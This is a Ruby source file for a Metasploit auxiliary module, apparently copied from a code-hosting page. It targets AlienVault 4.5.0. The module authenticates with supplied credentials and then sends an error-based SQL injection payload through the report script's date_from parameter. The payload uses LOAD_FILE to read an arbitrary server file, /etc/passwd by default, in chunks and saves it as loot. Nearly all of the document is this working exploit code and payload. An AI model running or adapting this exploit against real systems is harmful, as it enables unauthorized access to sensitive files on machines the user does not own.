151 lines
4.2 KiB
Ruby
151 lines
4.2 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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## Current source: https://github.com/rapid7/metasploit-framework
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###
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => "AlienVault Authenticated SQL Injection Arbitrary File Read",
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'Description' => %q{
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AlienVault 4.5.0 is susceptible to an authenticated SQL injection attack via a PNG
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generation PHP file. This module exploits this to read an arbitrary file from
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the file system. Any authenticated user is able to exploit it, as administrator
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privileges aren't required.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Brandon Perry <bperry.volatile[at]gmail.com>' #meatpistol module
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],
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'References' =>
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[
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['EDB', '32644']
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],
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'DefaultOptions' =>
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{
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'SSL' => true
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},
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'Platform' => ['linux'],
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'Privileged' => false,
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'DisclosureDate' => "Mar 30 2014"))
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register_options(
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[
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Opt::RPORT(443),
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OptString.new('FILEPATH', [ true, 'Path to remote file', '/etc/passwd' ]),
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OptString.new('USERNAME', [ true, 'Single username' ]),
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OptString.new('PASSWORD', [ true, 'Single password' ]),
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OptString.new('TARGETURI', [ true, 'Relative URI of installation', '/' ])
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])
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end
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def run
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print_status("Get a valid session cookie...")
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php')
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})
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unless res and res.code == 200
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print_error("Server did not respond in an expected way")
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return
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end
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cookie = res.get_cookies
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if cookie.blank?
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print_error("Could not retrieve a cookie")
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return
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end
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post = {
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'embed' => '',
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'bookmark_string' => '',
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'user' => datastore['USERNAME'],
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'passu' => datastore['PASSWORD'],
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'pass' => Rex::Text.encode_base64(datastore['PASSWORD'])
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}
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print_status("Login...")
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php'),
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'method' => 'POST',
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'vars_post' => post,
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'cookie' => cookie
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})
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unless res and res.code == 302
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print_error("Server did not respond in an expected way")
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return
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end
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unless res.headers['Location'] && res.headers['Location'] == normalize_uri(target_uri.path, 'ossim/')
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print_error("Authentication failed")
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return
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end
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cookie = res.get_cookies
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if cookie.blank?
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print_error("Could not retrieve the authenticated cookie")
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return
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end
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i = 0
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full = ''
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filename = datastore['FILEPATH'].unpack("H*")[0]
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left_marker = Rex::Text.rand_text_alpha(6)
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right_marker = Rex::Text.rand_text_alpha(6)
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print_status("Exploiting SQLi...")
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loop do
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file = sqli(left_marker, right_marker, i, cookie, filename)
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return if file.nil?
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break if file.empty?
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str = [file].pack("H*")
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full << str
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vprint_status(str)
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i = i+1
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end
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path = store_loot('alienvault.file', 'text/plain', datastore['RHOST'], full, datastore['FILEPATH'])
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print_good("File stored at path: " + path)
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end
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def sqli(left_marker, right_marker, i, cookie, filename)
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pay = "2014-02-28' AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},"
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pay << "(SELECT MID((IFNULL(CAST(HEX(LOAD_FILE(0x#{filename})) AS CHAR),"
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pay << "0x20)),#{(50*i)+1},50)),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS"
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pay << " GROUP BY x)a) AND 'xnDa'='xnDa"
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get = {
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'date_from' => pay,
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'date_to' => '2014-03-30'
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}
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'ossim', 'report', 'BusinessAndComplianceISOPCI', 'ISO27001Bar1.php'),
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'cookie' => cookie,
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'vars_get' => get
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})
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if res and res.body and res.body =~ /#{left_marker}(.*)#{right_marker}/
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return $1
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else
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print_error("Server did not respond in an expected way")
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return nil
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end
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end
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end
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